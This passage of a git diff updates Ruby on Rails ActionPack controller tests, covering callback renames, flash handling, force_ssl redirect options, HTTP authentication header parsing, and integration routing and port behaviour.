+ around_action :around_again
private
def before
@@ -926,8 +951,8 @@ class ControllerWithAllTypesOfFilters < PostsController
end
class ControllerWithTwoLessFilters < ControllerWithAllTypesOfFilters
- skip_filter :around_again
- skip_filter :after
+ skip_action_callback :around_again
+ skip_action_callback :after
end
class YieldingAroundFiltersTest < ActionController::TestCase
@@ -938,7 +963,7 @@ class YieldingAroundFiltersTest < ActionController::TestCase
assert_nothing_raised { test_process(controller,'no_raise') }
assert_nothing_raised { test_process(controller,'raises_before') }
assert_nothing_raised { test_process(controller,'raises_after') }
- assert_nothing_raised { test_process(controller,'no_filter') }
+ assert_nothing_raised { test_process(controller,'no_action') }
end
def test_with_symbol
@@ -967,7 +992,7 @@ class YieldingAroundFiltersTest < ActionController::TestCase
assert assigns['after']
end
- def test_nested_filters
+ def test_nested_actions
controller = ControllerWithNestedFilters
assert_nothing_raised do
begin
@@ -983,31 +1008,31 @@ class YieldingAroundFiltersTest < ActionController::TestCase
end
end
- def test_filter_order_with_all_filter_types
+ def test_action_order_with_all_action_types
test_process(ControllerWithAllTypesOfFilters,'no_raise')
assert_equal 'before around (before yield) around_again (before yield) around_again (after yield) after around (after yield)', assigns['ran_filter'].join(' ')
end
- def test_filter_order_with_skip_filter_method
+ def test_action_order_with_skip_action_method
test_process(ControllerWithTwoLessFilters,'no_raise')
assert_equal 'before around (before yield) around (after yield)', assigns['ran_filter'].join(' ')
end
- def test_first_filter_in_multiple_before_filter_chain_halts
+ def test_first_action_in_multiple_before_action_chain_halts
controller = ::FilterTest::TestMultipleFiltersController.new
response = test_process(controller, 'fail_1')
assert_equal ' ', response.body
assert_equal 1, controller.instance_variable_get(:@try)
end
- def test_second_filter_in_multiple_before_filter_chain_halts
+ def test_second_action_in_multiple_before_action_chain_halts
controller = ::FilterTest::TestMultipleFiltersController.new
response = test_process(controller, 'fail_2')
assert_equal ' ', response.body
assert_equal 2, controller.instance_variable_get(:@try)
end
- def test_last_filter_in_multiple_before_filter_chain_halts
+ def test_last_action_in_multiple_before_action_chain_halts
controller = ::FilterTest::TestMultipleFiltersController.new
response = test_process(controller, 'fail_3')
assert_equal ' ', response.body
diff --git a/actionpack/test/controller/flash_hash_test.rb b/actionpack/test/controller/flash_hash_test.rb
index 5490d9394b..d979b561f2 100644
--- a/actionpack/test/controller/flash_hash_test.rb
+++ b/actionpack/test/controller/flash_hash_test.rb
@@ -29,6 +29,15 @@ module ActionDispatch
assert_equal 'world', @hash['hello']
end
+ def test_key
+ @hash['foo'] = 'bar'
+
+ assert @hash.key?('foo')
+ assert @hash.key?(:foo)
+ assert_not @hash.key?('bar')
+ assert_not @hash.key?(:bar)
+ end
+
def test_delete
@hash['foo'] = 'bar'
@hash.delete 'foo'
@@ -67,6 +76,16 @@ module ActionDispatch
assert_equal({'flashes' => {'message' => 'Hello'}, 'discard' => %w[message]}, hash.to_session_value)
end
+ def test_from_session_value_on_json_serializer
+ decrypted_data = "{ \"session_id\":\"d98bdf6d129618fc2548c354c161cfb5\", \"flash\":{\"discard\":[], \"flashes\":{\"message\":\"hey you\"}} }"
+ session = ActionDispatch::Cookies::JsonSerializer.load(decrypted_data)
+ hash = Flash::FlashHash.from_session_value(session['flash'])
+
+ assert_equal({'discard' => %w[message], 'flashes' => { 'message' => 'hey you'}}, hash.to_session_value)
+ assert_equal "hey you", hash[:message]
+ assert_equal "hey you", hash["message"]
+ end
+
def test_empty?
assert @hash.empty?
@hash['zomg'] = 'bears'
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
index 9d4356f546..3720a920d0 100644
--- a/actionpack/test/controller/flash_test.rb
+++ b/actionpack/test/controller/flash_test.rb
@@ -1,5 +1,4 @@
require 'abstract_unit'
-# FIXME remove DummyKeyGenerator and this require in 4.1
require 'active_support/key_generator'
class FlashTest < ActionController::TestCase
@@ -175,14 +174,14 @@ class FlashTest < ActionController::TestCase
flash.update(:foo => :foo_indeed, :bar => :bar_indeed)
assert_equal(:foo_indeed, flash.discard(:foo)) # valid key passed
- assert_nil flash.discard(:unknown) # non existant key passed
- assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard().to_hash) # nothing passed
- assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
+ assert_nil flash.discard(:unknown) # non existent key passed
+ assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.discard().to_hash) # nothing passed
+ assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
assert_equal(:foo_indeed, flash.keep(:foo)) # valid key passed
- assert_nil flash.keep(:unknown) # non existant key passed
- assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep().to_hash) # nothing passed
- assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
+ assert_nil flash.keep(:unknown) # non existent key passed
+ assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.keep().to_hash) # nothing passed
+ assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
end
def test_redirect_to_with_alert
@@ -211,15 +210,36 @@ class FlashTest < ActionController::TestCase
end
def test_redirect_to_with_adding_flash_types
- @controller.class.add_flash_types :foo
+ original_controller = @controller
+ test_controller_with_flash_type_foo = Class.new(TestController) do
+ add_flash_types :foo
+ end
+ @controller = test_controller_with_flash_type_foo.new
get :redirect_with_foo_flash
assert_equal "for great justice", @controller.send(:flash)[:foo]
+ ensure
+ @controller = original_controller
+ end
+
+ def test_add_flash_type_to_subclasses
+ test_controller_with_flash_type_foo = Class.new(TestController) do
+ add_flash_types :foo
+ end
+ subclass_controller_with_no_flash_type = Class.new(test_controller_with_flash_type_foo)
+ assert subclass_controller_with_no_flash_type._flash_types.include?(:foo)
+ end
+
+ def test_does_not_add_flash_type_to_parent_class
+ Class.new(TestController) do
+ add_flash_types :bar
+ end
+ assert_not TestController._flash_types.include?(:bar)
end
end
class FlashIntegrationTest < ActionDispatch::IntegrationTest
SessionKey = '_myapp_session'
- Generator = ActiveSupport::DummyKeyGenerator.new('b3c631c314c0bbca50c1b2843150fe33')
+ Generator = ActiveSupport::LegacyKeyGenerator.new('b3c631c314c0bbca50c1b2843150fe33')
class TestController < ActionController::Base
add_flash_types :bar
diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb
index 6758668b7a..00d4612ac9 100644
--- a/actionpack/test/controller/force_ssl_test.rb
+++ b/actionpack/test/controller/force_ssl_test.rb
@@ -14,8 +14,42 @@ class ForceSSLControllerLevel < ForceSSLController
force_ssl
end
-class ForceSSLCustomDomain < ForceSSLController
- force_ssl :host => "secure.test.host"
+class ForceSSLCustomOptions < ForceSSLController
+ force_ssl :host => "secure.example.com", :only => :redirect_host
+ force_ssl :port => 8443, :only => :redirect_port
+ force_ssl :subdomain => 'secure', :only => :redirect_subdomain
+ force_ssl :domain => 'secure.com', :only => :redirect_domain
+ force_ssl :path => '/foo', :only => :redirect_path
+ force_ssl :status => :found, :only => :redirect_status
+ force_ssl :flash => { :message => 'Foo, Bar!' }, :only => :redirect_flash
+ force_ssl :alert => 'Foo, Bar!', :only => :redirect_alert
+ force_ssl :notice => 'Foo, Bar!', :only => :redirect_notice
+
+ def force_ssl_action
+ render :text => action_name
+ end
+
+ alias_method :redirect_host, :force_ssl_action
+ alias_method :redirect_port, :force_ssl_action
+ alias_method :redirect_subdomain, :force_ssl_action
+ alias_method :redirect_domain, :force_ssl_action
+ alias_method :redirect_path, :force_ssl_action
+ alias_method :redirect_status, :force_ssl_action
+ alias_method :redirect_flash, :force_ssl_action
+ alias_method :redirect_alert, :force_ssl_action
+ alias_method :redirect_notice, :force_ssl_action
+
+ def use_flash
+ render :text => flash[:message]
+ end
+
+ def use_alert
+ render :text => flash[:alert]
+ end
+
+ def use_notice
+ render :text => flash[:notice]
+ end
end
class ForceSSLOnlyAction < ForceSSLController
@@ -59,8 +93,6 @@ class RedirectToSSL < ForceSSLController
end
class ForceSSLControllerLevelTest < ActionController::TestCase
- tests ForceSSLControllerLevel
-
def test_banana_redirects_to_https
get :banana
assert_response 301
@@ -80,25 +112,79 @@ class ForceSSLControllerLevelTest < ActionController::TestCase
end
end
-class ForceSSLCustomDomainTest < ActionController::TestCase
- tests ForceSSLCustomDomain
+class ForceSSLCustomOptionsTest < ActionController::TestCase
+ def setup
+ @request.env['HTTP_HOST'] = 'www.example.com:80'
+ end
- def test_banana_redirects_to_https_with_custom_host
- get :banana
+ def test_redirect_to_custom_host
+ get :redirect_host
assert_response 301
- assert_equal "https://secure.test.host/force_ssl_custom_domain/banana", redirect_to_url
+ assert_equal "https://secure.example.com/force_ssl_custom_options/redirect_host", redirect_to_url
end
- def test_cheeseburger_redirects_to_https_with_custom_host
- get :cheeseburger
+ def test_redirect_to_custom_port
+ get :redirect_port
+ assert_response 301
+ assert_equal "https://www.example.com:8443/force_ssl_custom_options/redirect_port", redirect_to_url
+ end
+
+ def test_redirect_to_custom_subdomain
+ get :redirect_subdomain
assert_response 301
- assert_equal "https://secure.test.host/force_ssl_custom_domain/cheeseburger", redirect_to_url
+ assert_equal "https://secure.example.com/force_ssl_custom_options/redirect_subdomain", redirect_to_url
+ end
+
+ def test_redirect_to_custom_domain
+ get :redirect_domain
+ assert_response 301
+ assert_equal "https://www.secure.com/force_ssl_custom_options/redirect_domain", redirect_to_url
+ end
+
+ def test_redirect_to_custom_path
+ get :redirect_path
+ assert_response 301
+ assert_equal "https://www.example.com/foo", redirect_to_url
+ end
+
+ def test_redirect_to_custom_status
+ get :redirect_status
+ assert_response 302
+ assert_equal "https://www.example.com/force_ssl_custom_options/redirect_status", redirect_to_url
+ end
+
+ def test_redirect_to_custom_flash
+ get :redirect_flash
+ assert_response 301
+ assert_equal "https://www.example.com/force_ssl_custom_options/redirect_flash", redirect_to_url
+
+ get :use_flash
+ assert_response 200
+ assert_equal "Foo, Bar!", @response.body
+ end
+
+ def test_redirect_to_custom_alert
+ get :redirect_alert
+ assert_response 301
+ assert_equal "https://www.example.com/force_ssl_custom_options/redirect_alert", redirect_to_url
+
+ get :use_alert
+ assert_response 200
+ assert_equal "Foo, Bar!", @response.body
+ end
+
+ def test_redirect_to_custom_notice
+ get :redirect_notice
+ assert_response 301
+ assert_equal "https://www.example.com/force_ssl_custom_options/redirect_notice", redirect_to_url
+
+ get :use_notice
+ assert_response 200
+ assert_equal "Foo, Bar!", @response.body
end
end
class ForceSSLOnlyActionTest < ActionController::TestCase
- tests ForceSSLOnlyAction
-
def test_banana_not_redirects_to_https
get :banana
assert_response 200
@@ -112,8 +198,6 @@ class ForceSSLOnlyActionTest < ActionController::TestCase
end
class ForceSSLExceptActionTest < ActionController::TestCase
- tests ForceSSLExceptAction
-
def test_banana_not_redirects_to_https
get :banana
assert_response 200
@@ -127,8 +211,6 @@ class ForceSSLExceptActionTest < ActionController::TestCase
end
class ForceSSLIfConditionTest < ActionController::TestCase
- tests ForceSSLIfCondition
-
def test_banana_not_redirects_to_https
get :banana
assert_response 200
@@ -142,25 +224,85 @@ class ForceSSLIfConditionTest < ActionController::TestCase
end
class ForceSSLFlashTest < ActionController::TestCase
- tests ForceSSLFlash
-
def test_cheeseburger_redirects_to_https
get :set_flash
assert_response 302
assert_equal "http://test.host/force_ssl_flash/cheeseburger", redirect_to_url
+ # FIXME: AC::TestCase#build_request_uri doesn't build a new uri if PATH_INFO exists
+ @request.env.delete('PATH_INFO')
+
get :cheeseburger
assert_response 301
assert_equal "https://test.host/force_ssl_flash/cheeseburger", redirect_to_url
+ # FIXME: AC::TestCase#build_request_uri doesn't build a new uri if PATH_INFO exists
+ @request.env.delete('PATH_INFO')
+
get :use_flash
assert_equal "hello", assigns["flash_copy"]["that"]
assert_equal "hello", assigns["flashy"]
end
end
+class ForceSSLDuplicateRoutesTest < ActionController::TestCase
+ tests ForceSSLControllerLevel
+
+ def test_force_ssl_redirects_to_same_path
+ with_routing do |set|
+ set.draw do
+ get '/foo', :to => 'force_ssl_controller_level#banana'
+ get '/bar', :to => 'force_ssl_controller_level#banana'
+ end
+
+ @request.env['PATH_INFO'] = '/bar'
+
+ get :banana
+ assert_response 301
+ assert_equal 'https://test.host/bar', redirect_to_url
+ end
+ end
+end
+
+class ForceSSLFormatTest < ActionController::TestCase
+ tests ForceSSLControllerLevel
+
+ def test_force_ssl_redirects_to_same_format
+ with_routing do |set|
+ set.draw do
+ get '/foo', :to => 'force_ssl_controller_level#banana'
+ end
+
+ get :banana, :format => :json
+ assert_response 301
+ assert_equal 'https://test.host/foo.json', redirect_to_url
+ end
+ end
+end
+
+class ForceSSLOptionalSegmentsTest < ActionController::TestCase
+ tests ForceSSLControllerLevel
+
+ def test_force_ssl_redirects_to_same_format
+ with_routing do |set|
+ set.draw do
+ scope '(:locale)' do
+ defaults :locale => 'en' do
+ get '/foo', :to => 'force_ssl_controller_level#banana'
+ end
+ end
+ end
+
+ @request.env['PATH_INFO'] = '/en/foo'
+ get :banana, :locale => 'en'
+ assert_equal 'en', @controller.params[:locale]
+ assert_response 301
+ assert_equal 'https://test.host/en/foo', redirect_to_url
+ end
+ end
+end
+
class RedirectToSSLTest < ActionController::TestCase
- tests RedirectToSSL
def test_banana_redirects_to_https_if_not_https
get :banana
assert_response 301
@@ -179,4 +321,4 @@ class RedirectToSSLTest < ActionController::TestCase
assert_response 200
assert_equal 'ihaz', response.body
end
-end \ No newline at end of file
+end
diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb
index 248c81193e..936b8c2450 100644
--- a/actionpack/test/controller/helper_test.rb
+++ b/actionpack/test/controller/helper_test.rb
@@ -60,6 +60,12 @@ class HelpersPathsController < ActionController::Base
end
end
+class HelpersTypoController < ActionController::Base
+ path = File.expand_path('../../fixtures/helpers_typo', __FILE__)
+ $:.unshift(path)
+ self.helpers_path = path
+end
+
module LocalAbcHelper
def a() end
def b() end
@@ -82,6 +88,22 @@ class HelperPathsTest < ActiveSupport::TestCase
end
end
+class HelpersTypoControllerTest < ActiveSupport::TestCase
+ def setup
+ @autoload_paths = ActiveSupport::Dependencies.autoload_paths
+ ActiveSupport::Dependencies.autoload_paths = Array(HelpersTypoController.helpers_path)
+ end
+
+ def test_helper_typo_error_message
+ e = assert_raise(NameError) { HelpersTypoController.helper 'admin/users' }
+ assert_equal "Couldn't find Admin::UsersHelper, expected it to be defined in helpers/admin/users_helper.rb", e.message
+ end
+
+ def teardown
+ ActiveSupport::Dependencies.autoload_paths = @autoload_paths
+ end
+end
+
class HelperTest < ActiveSupport::TestCase
class TestController < ActionController::Base
attr_accessor :delegate_attr
@@ -201,6 +223,12 @@ class HelperTest < ActiveSupport::TestCase
# fun/pdf_helper.rb
assert methods.include?(:foobar)
end
+
+ def test_helper_proxy_config
+ AllHelpersController.config.my_var = 'smth'
+
+ assert_equal 'smth', AllHelpersController.helpers.config.my_var
+ end
private
def expected_helper_methods
diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb
index 90548d4294..9052fc6962 100644
--- a/actionpack/test/controller/http_basic_authentication_test.rb
+++ b/actionpack/test/controller/http_basic_authentication_test.rb
@@ -129,6 +129,13 @@ class HttpBasicAuthenticationTest < ActionController::TestCase
assert_response :unauthorized
end
+ test "authentication request with wrong scheme" do
+ header = 'Bearer ' + encode_credentials('David', 'Goliath').split(' ', 2)[1]
+ @request.env['HTTP_AUTHORIZATION'] = header
+ get :search
+ assert_response :unauthorized
+ end
+
private
def encode_credentials(username, password)
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
index 537de7a2dd..52a0bc9aa3 100644
--- a/actionpack/test/controller/http_digest_authentication_test.rb
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -1,5 +1,4 @@
require 'abstract_unit'
-# FIXME remove DummyKeyGenerator and this require in 4.1
require 'active_support/key_generator'
class HttpDigestAuthenticationTest < ActionController::TestCase
@@ -22,7 +21,7 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
def authenticate
authenticate_or_request_with_http_digest("SuperSecret") do |username|
- # Return the password
+ # Returns the password
USERS[username]
end
end
@@ -43,7 +42,7 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
setup do
# Used as secret in generating nonce to prevent tampering of timestamp
@secret = "4fb45da9e4ab4ddeb7580d6a35503d99"
- @request.env["action_dispatch.key_generator"] = ActiveSupport::DummyKeyGenerator.new(@secret)
+ @request.env["action_dispatch.key_generator"] = ActiveSupport::LegacyKeyGenerator.new(@secret)
end
teardown do
@@ -249,6 +248,14 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
assert_equal 'Definitely Maybe', @response.body
end
+ test "when sent a basic auth header, returns Unauthorized" do
+ @request.env['HTTP_AUTHORIZATION'] = 'Basic Gwf2aXq8ZLF3Hxq='
+
+ get :display
+
+ assert_response :unauthorized
+ end
+
private
def encode_credentials(options)
diff --git a/actionpack/test/controller/http_token_authentication_test.rb b/actionpack/test/controller/http_token_authentication_test.rb
index 8a409d6ed2..a758df2ec6 100644
--- a/actionpack/test/controller/http_token_authentication_test.rb
+++ b/actionpack/test/controller/http_token_authentication_test.rb
@@ -21,7 +21,7 @@ class HttpTokenAuthenticationTest < ActionController::TestCase
private
def authenticate
- authenticate_or_request_with_http_token do |token, options|
+ authenticate_or_request_with_http_token do |token, _|
token == 'lifo'
end
end
@@ -104,18 +104,97 @@ class HttpTokenAuthenticationTest < ActionController::TestCase
assert_equal 'Token realm="SuperSecret"', @response.headers['WWW-Authenticate']
end
- test "authentication request with valid credential" do
- @request.env['HTTP_AUTHORIZATION'] = encode_credentials('"quote" pretty', :algorithm => 'test')
- get :display
+ test "token_and_options returns correct token" do
+ token = "rcHu+HzSFw89Ypyhn/896A=="
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+ expected = token
+ assert_equal(expected, actual)
+ end
- assert_response :success
- assert assigns(:logged_in)
- assert_equal 'Definitely Maybe', @response.body
+ test "token_and_options returns correct token with value after the equal sign" do
+ token = 'rcHu+=HzSFw89Ypyhn/896A==f34'
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+ expected = token
+ assert_equal(expected, actual)
end
- private
+ test "token_and_options returns correct token with slashes" do
+ token = 'rcHu+\\\\"/896A'
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+ expected = token
+ assert_equal(expected, actual)
+ end
+
+ test "token_and_options returns correct token with quotes" do
+ token = '\"quote\" pretty'
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+ expected = token
+ assert_equal(expected, actual)
+ end
- def encode_credentials(token, options = {})
- ActionController::HttpAuthentication::Token.encode_credentials(token, options)
+ test "token_and_options returns empty string with empty token" do
+ token = ''
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token)).first
+ expected = token
+ assert_equal(expected, actual)
end
+
+ test "token_and_options returns correct token with nounce option" do
+ token = "rcHu+HzSFw89Ypyhn/896A="
+ nonce_hash = {nonce: "123abc"}
+ actual = ActionController::HttpAuthentication::Token.token_and_options(sample_request(token, nonce_hash))
+ expected_token = token
+ expected_nonce = {"nonce" => nonce_hash[:nonce]}
+ assert_equal(expected_token, actual.first)
+ assert_equal(expected_nonce, actual.last)
+ end
+
+ test "token_and_options returns nil with no value after the equal sign" do
+ actual = ActionController::HttpAuthentication::Token.token_and_options(malformed_request).first
+ expected = nil
+ assert_equal(expected, actual)
+ end
+
+ test "raw_params returns a tuple of two key value pair strings" do
+ auth = sample_request("rcHu+HzSFw89Ypyhn/896A=").authorization.to_s
+ actual = ActionController::HttpAuthentication::Token.raw_params(auth)
+ expected = ["token=\"rcHu+HzSFw89Ypyhn/896A=\"", "nonce=\"def\""]
+ assert_equal(expected, actual)
+ end
+
+ test "token_and_options returns right token when token key is not specified in header" do
+ token = "rcHu+HzSFw89Ypyhn/896A="
+
+ actual = ActionController::HttpAuthentication::Token.token_and_options(
+ sample_request_without_token_key(token)
+ ).first
+
+ expected = token
+ assert_equal(expected, actual)
+ end
+
+ private
+
+ def sample_request(token, options = {nonce: "def"})
+ authorization = options.inject([%{Token token="#{token}"}]) do |arr, (k, v)|
+ arr << "#{k}=\"#{v}\""
+ end.join(", ")
+ mock_authorization_request(authorization)
+ end
+
+ def malformed_request
+ mock_authorization_request(%{Token token=})
+ end
+
+ def sample_request_without_token_key(token)
+ mock_authorization_request(%{Token #{token}})
+ end
+
+ def mock_authorization_request(authorization)
+ OpenStruct.new(authorization: authorization)
+ end
+
+ def encode_credentials(token, options = {})
+ ActionController::HttpAuthentication::Token.encode_credentials(token, options)
+ end
end
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index cf561d913a..d6219b7626 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -1,6 +1,6 @@
require 'abstract_unit'
require 'controller/fake_controllers'
-require 'action_view/vendor/html-scanner'
+require 'rails/engine'
class SessionTest < ActiveSupport::TestCase
StubApp = lambda { |env|
@@ -117,12 +117,6 @@ class SessionTest < ActiveSupport::TestCase
@session.head(path,params,headers)
end
- def test_options
- path = "/index"; params = "blah"; headers = {:location => 'blah'}
- @session.expects(:process).with(:options,path,params,headers)
- @session.options(path,params,headers)
- end
-
def test_xml_http_request_get
path = "/index"; params = "blah"; headers = {:location => 'blah'}
headers_after_xhr = headers.merge(
@@ -183,16 +177,6 @@ class SessionTest < ActiveSupport::TestCase
@session.xml_http_request(:head,path,params,headers)
end
- def test_xml_http_request_options
- path = "/index"; params = "blah"; headers = {:location => 'blah'}
- headers_after_xhr = headers.merge(
- "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
- "HTTP_ACCEPT" => "text/javascript, text/html, application/xml, text/xml, */*"
- )
- @session.expects(:process).with(:options,path,params,headers_after_xhr)
- @session.xml_http_request(:options,path,params,headers)
- end
-
def test_xml_http_request_override_accept
path = "/index"; params = "blah"; headers = {:location => 'blah', "HTTP_ACCEPT" => "application/xml"}
headers_after_xhr = headers.merge(
@@ -250,7 +234,7 @@ class IntegrationTestUsesCorrectClass < ActionDispatch::IntegrationTest
@integration_session.stubs(:generic_url_rewriter)
@integration_session.stubs(:process)
- %w( get post head patch put delete options ).each do |verb|
+ %w( get post head patch put delete ).each do |verb|
assert_nothing_raised("'#{verb}' should use integration test methods") { __send__(verb, '/') }
end
end
@@ -293,7 +277,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
end
def redirect
- redirect_to :action => "get"
+ redirect_to action_url('get')
end
end
@@ -308,7 +292,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
assert_equal({}, cookies.to_hash)
assert_equal "OK", body
assert_equal "OK", response.body
- assert_kind_of HTML::Document, html_document
+ assert_kind_of Nokogiri::HTML::Document, html_document
assert_equal 1, request_count
end
end
@@ -324,7 +308,7 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
assert_equal({}, cookies.to_hash)
assert_equal "Created", body
assert_equal "Created", response.body
- assert_kind_of HTML::Document, html_document
+ assert_kind_of Nokogiri::HTML::Document, html_document
assert_equal 1, request_count
end
end
@@ -384,12 +368,16 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
assert_response :redirect
assert_response :found
assert_equal "<html><body>You are being <a href=\"http://www.example.com/get\">redirected</a>.</body></html>", response.body
- assert_kind_of HTML::Document, html_document
+ assert_kind_of Nokogiri::HTML::Document, html_document
assert_equal 1, request_count
follow_redirect!
assert_response :success
assert_equal "/get", path
+
+ get '/moved'
+ assert_response :redirect
+ assert_redirected_to '/method'
end
end
@@ -466,6 +454,58 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
assert_equal 'http://www.example.com/foo', url_for(:controller => "foo")
end
+ def test_port_via_host!
+ with_test_route_set do
+ host! 'www.example.com:8080'
+ get '/get'
+ assert_equal 8080, request.port
+ end
+ end
+
+ def test_port_via_process
+ with_test_route_set do
+ get 'http://www.example.com:8080/get'
+ assert_equal 8080, request.port
+ end
+ end
+
+ def test_https_and_port_via_host_and_https!
+ with_test_route_set do
+ host! 'www.example.com'
+ https! true
+
+ get '/get'
+ assert_equal 443, request.port
+ assert_equal true, request.ssl?
+
+ host! 'www.example.com:443'
+ https! true
+
+ get '/get'
+ assert_equal 443, request.port
+ assert_equal true, request.ssl?
+
+ host! 'www.example.com:8443'
+ https! true
+
+ get '/get'
+ assert_equal 8443, request.port
+ assert_equal true, request.ssl?
+ end
+ end
+
+ def test_https_and_port_via_process
+ with_test_route_set do
+ get 'https://www.example.com/get'
+ assert_equal 443, request.port
+ assert_equal true, request.ssl?
+
+ get 'https://www.example.com:8443/get'
+ assert_equal 8443, request.port
+ assert_equal true, request.ssl?
+ end
+ end
+
private
def with_test_route_set
with_routing do |set|
@@ -475,8 +515,10 @@ class IntegrationProcessTest < ActionDispatch::IntegrationTest
end
set.draw do
- match ':action', :to => controller, :via => [:get, :post]
- get 'get/:action', :to => controller
+ get 'moved' => redirect('/method')
+
+ match ':action', :to => controller, :via => [:get, :post], :as => :action
+ get 'get/:action', :to => controller, :as => :get_action
end
self.singleton_class.send(:include, set.url_helpers)
@@ -521,6 +563,21 @@ class MetalIntegrationTest < ActionDispatch::IntegrationTest
def test_generate_url_without_controller
assert_equal 'http://www.example.com/foo', url_for(:controller => "foo")
end
+
+ def test_pass_headers
+ get "/success", {}, "Referer" => "http://www.example.com/foo", "Host" => "http://nohost.com"
+
+ assert_equal "http://nohost.com", @request.env["HTTP_HOST"]
+ assert_equal "http://www.example.com/foo", @request.env["HTTP_REFERER"]
+ end
+
+ def test_pass_env
+ get "/success", {}, "HTTP_REFERER" => "http://test.com/", "HTTP_HOST" => "http://test.com"
+
+ assert_equal "http://test.com", @request.env["HTTP_HOST"]
+ assert_equal "http://test.com/", @request.env["HTTP_REFERER"]
+ end
+
end
class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
@@ -538,7 +595,7 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
@routes ||= ActionDispatch::Routing::RouteSet.new
end
- class MountedApp
+ class MountedApp < Rails::Engine
def self.routes
@routes ||= ActionDispatch::Routing::RouteSet.new
end
@@ -558,6 +615,8 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
get 'bar', :to => 'application_integration_test/test#index', :as => :bar
mount MountedApp => '/mounted', :as => "mounted"
+ get 'fooz' => proc { |env| [ 200, {'X-Cascade' => 'pass'}, [ "omg" ] ] }, :anchor => false
+ get 'fooz', :to => 'application_integration_test/test#index'
end
def app
@@ -574,6 +633,12 @@ class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
assert_equal '/mounted/baz', mounted.baz_path
end
+ test "path after cascade pass" do
+ get '/fooz'
+ assert_equal 'index', response.body
+ assert_equal '/fooz', path
+ end
+
test "route helpers after controller access" do
get '/'
assert_equal '/', empty_string_path
@@ -699,13 +764,17 @@ class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest
assert_equal "http://bar.com/foo", foos_url
end
- test "test can override default url options" do
+ def test_can_override_default_url_options
+ original_host = default_url_options.dup
+
default_url_options[:host] = "foobar.com"
assert_equal "http://foobar.com/foo", foos_url
get "/bar"
assert_response :success
assert_equal "http://foobar.com/foo", foos_url
+ ensure
+ ActionDispatch::Integration::Session.default_url_options = self.default_url_options = original_host
end
test "current request path parameters are recalled" do
@@ -714,3 +783,70 @@ class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest
assert_equal "/foo/1/edit", url_for(:action => 'edit', :only_path => true)
end
end
+
+class HeadWithStatusActionIntegrationTest < ActionDispatch::IntegrationTest
+ class FooController < ActionController::Base
+ def status
+ head :ok
+ end
+ end
+
+ def self.routes
+ @routes ||= ActionDispatch::Routing::RouteSet.new
+ end
+
+ def self.call(env)
+ routes.call(env)
+ end
+
+ def app
+ self.class
+ end
+
+ routes.draw do
+ get "/foo/status" => 'head_with_status_action_integration_test/foo#status'
+ end
+
+ test "get /foo/status with head result does not cause stack overflow error" do
+ assert_nothing_raised do
+ get '/foo/status'
+ end
+ assert_response :ok
+ end
+end
+
+class IntegrationWithRoutingTest < ActionDispatch::IntegrationTest
+ class FooController < ActionController::Base
+ def index
+ render plain: 'ok'
+ end
+ end
+
+ def test_with_routing_resets_session
+ klass_namespace = self.class.name.underscore
+
+ with_routing do |routes|
+ routes.draw do
+ namespace klass_namespace do
+ resources :foo, path: '/with'
+ end
+ end
+
+ get '/integration_with_routing_test/with'
+ assert_response 200
+ assert_equal 'ok', response.body
+ end
+
+ with_routing do |routes|
+ routes.draw do
+ namespace klass_namespace do
+ resources :foo, path: '/routing'
+ end
+ end
+
+ get '/integration_with_routing_test/routing'
+ assert_response 200
+ assert_equal 'ok', response.body
+ end
+ end
+end
diff --git a/actionpack/test/controller/layout_test.rb b/actionpack/test/controller/layout_test.rb
deleted file mode 100644
index 94a8d2f180..0000000000
--- a/actionpack/test/controller/layout_test.rb
+++ /dev/null
@@ -1,237 +0,0 @@
-require 'abstract_unit'
-require 'rbconfig'
-
-# The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
-# method has access to the view_paths array when looking for a layout to automatically assign.
-old_load_paths = ActionController::Base.view_paths
-
-ActionView::Template::register_template_handler :mab,
- lambda { |template| template.source.inspect }
-
-ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../fixtures/layout_tests/' ]
-
-class LayoutTest < ActionController::Base
- def self.controller_path; 'views' end
- def self._implied_layout_name; to_s.underscore.gsub(/_controller$/, '') ; end
